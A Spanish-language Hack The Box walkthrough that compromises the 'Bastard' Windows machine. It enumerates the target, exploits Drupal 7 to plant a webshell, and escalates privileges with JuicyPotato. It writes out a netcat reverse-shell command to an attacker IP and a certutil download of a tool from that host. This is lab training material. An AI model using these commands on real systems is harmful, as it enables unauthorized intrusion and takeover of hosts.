Inicio Bastard Writeup - HackTheBox
Entrada
Cancelar

Bastard Writeup - HackTheBox

Bastard es una máquina Windows de dificultad media ofrecida por la plataforma de Hack The Box. A lo largo de este post encontrarás un writeup mostrando la forma de como rootearla.

Información

Info

Enumeración

NMAP

Como siempre, partiremos realizando un escaneo general de los 65535 puertos.

  • nmap -sS --min-rate 5000 -p- -n -v 10.10.10.9 -oG allPorts.gnmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 15:11 -03
Initiating Ping Scan at 15:11
Scanning 10.10.10.9 [4 ports]
Completed Ping Scan at 15:11, 0.20s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:11
Scanning 10.10.10.9 [65535 ports]
Discovered open port 80/tcp on 10.10.10.9
Discovered open port 135/tcp on 10.10.10.9
Discovered open port 49154/tcp on 10.10.10.9
Completed SYN Stealth Scan at 15:11, 26.48s elapsed (65535 total ports)
Nmap scan report for 10.10.10.9
Host is up (0.15s latency).
Not shown: 65532 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
49154/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

Posteriormente realizamos un escaner más exhaustivo para conocer servicios y versiones asociados a los puertos abiertos encontrados.

  • nmap -sC -sV -n -Pn -p80,135,49154 10.10.10.9 -oN ports.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 15:18 -03
Nmap scan report for 10.10.10.9
Host is up (0.15s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.76 seconds
  • Resumen puertos
PuertoEstadoServicio
80/tcpAbiertoMicrosoft IIS httpd 7.5 / Drupal 7
135/tcpAbiertoMicrosoft Windows RPC
49154/tcpAbiertoMicrosoft Windows RPC

Enumeración web

Durante la fase de escaneo, se detectó que existe el archivo robots.txt, al revisarlo encontramos que contiene múltiples rutas en él.

La forma más eficiente para verificar si son válidas o no, es filtrar estas rutas y crear un pequeño diccionario para fuzzear porsteriormente con wfuzz. Para esto, utilizando curl y grep, filtraremos lo que nos interesa.

  • curl -s http://10.10.10.9/robots.txt | awk '{print $2}' | grep "/" | grep -v "http://" > robots.txt

Lo siguiente será exportarlo a un archivo, el cual quedó con 36 posibles rutas.

Ahora utilizando wfuzz verificaremos que rutas devuelven un código HTTP de estado exitoso.

  • wfuzz -c --hc=403 -u http://10.10.10.9/FUZZ -w robots.txt

De aquí, lo que nos interesa es saber la versión de Drupal, para esto, la mejor opción es acceder al changelog.

Drupal 7.54

Ganando acceso

Ahora que sabemos que versión de Drupal está instalada en la máquina víctima, buscaremos posibles exploits en exploitdb.

  • searchsploit drupal 7.x

Copiaremos el exploit a nuestro directorio de trabajo.

  • searchsploit -m 41564

Lo renombraremos a exploit.php y utilizando vim revisaremos su contenido.

Lo que está marcado en el recuadro rojo se debe actualizar con los datos de la máquina víctima y además especificar que contenido se subirá a la web.

url > se debe actualizar con la ruta de drupal

endpoint_path > endpoint rest, se utilizará para explotar el servicio. En el caso de esta máquina, ha sido renombrado a ‘rest’

filename > nombre del archivo que se subirá

data > contenido del archivo

En este caso, subiremos una shell llamada webshell.php que tendrá código para ejecutar comandos a través de la variable cmd.

Ejecutamos el exploit.

Nos indica que nuestro archivo fué escrito a la ruta http://10.10.10.9/webshell.php. Vamos allá y veremos que efectivamente el recurso existe.

Ahora, utilizando la variable cmd, le pasaremos un comando para verificar su ejecución.

Con esto ya solo queda entablar una reverse shell.

  • http://10.10.10.9/webshell.php?cmd=\\10.10.14.12\Shared\nc.exe -e cmd 10.10.14.12 443

Pero antes, como siempre, compartiremos netcat a través de SMB con la ayuda de impacket y nos pondremos a la escucha de una conexión por el puerto 443.

Entraremos como nt authority\iusr

Escalando privilegios

Para la escalada de privilegios, como siempre partiremos por realizar un pequeño reconomiento.

Como puntos importantes, vemos lo siguiente:

  • Windows 2008 R2 Datacenter de 64 bits.
  • Token SeImpersonatePrivilege habilitado.

Más información sobre Abusing Tokens

Con eso ya podemos empezar a pensar en JuicyPotato para la explotación de este token. Descargamos el binario desde Releases y lo transferimos a la máquina víctima con un servidor web python3.

  1. Primero nos moveremos a C:\Windows\Temp y crearemos la carpeta privesc para alojar el binario.
  2. Luego levantaremos el server web de python3 compartiendo nc.exe.
    • python3 -m http.server 80
  3. Descargaremos JuicyPotato.exe.
    • certutil.exe -f -split -urlcache http://10.10.14.12/JuicyPotato.exe

Y ya teniendolo en la máquina, lo ejecutaremos para obtener una nueva shell con permisos máximos. En este caso entablaremos una conexión a través del puerto 444.

Lo usual es ejecutar JuicyPotato de la siguiente forma:

  • JuicyPotato.exe -t * -l 1337 -p cmd.exe -a "/c <COMANDO A EJECUTAR>"

Pero recibimos el mensaje recv failed with error: 10038. En este caso, tendremos que proporcionar un CLSID que sea compatible con la versión de S.O. de la máquina víctima. Este valor se puede buscar desde el mismo repositorio de JuicyPotato

Después de mucho buscar, encontramos un CLSID que funciona.

Nos responde que el comando se ejecuta como NT AUTHORITY\SYSTEM y con estado OK.

Ahora ejecutamos el comando final, para entablar la reverse shell con privilegios de administrador.

Abrimos un canal para recibir la conexión.

Ya estaríamos como el user NT AUTHORITY\SYSTEM, por lo tanto, esta máquina ya se encoontraría rooteada.

Por último, ya podríamos leer las flags que se encuentran en los directorios usuales.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.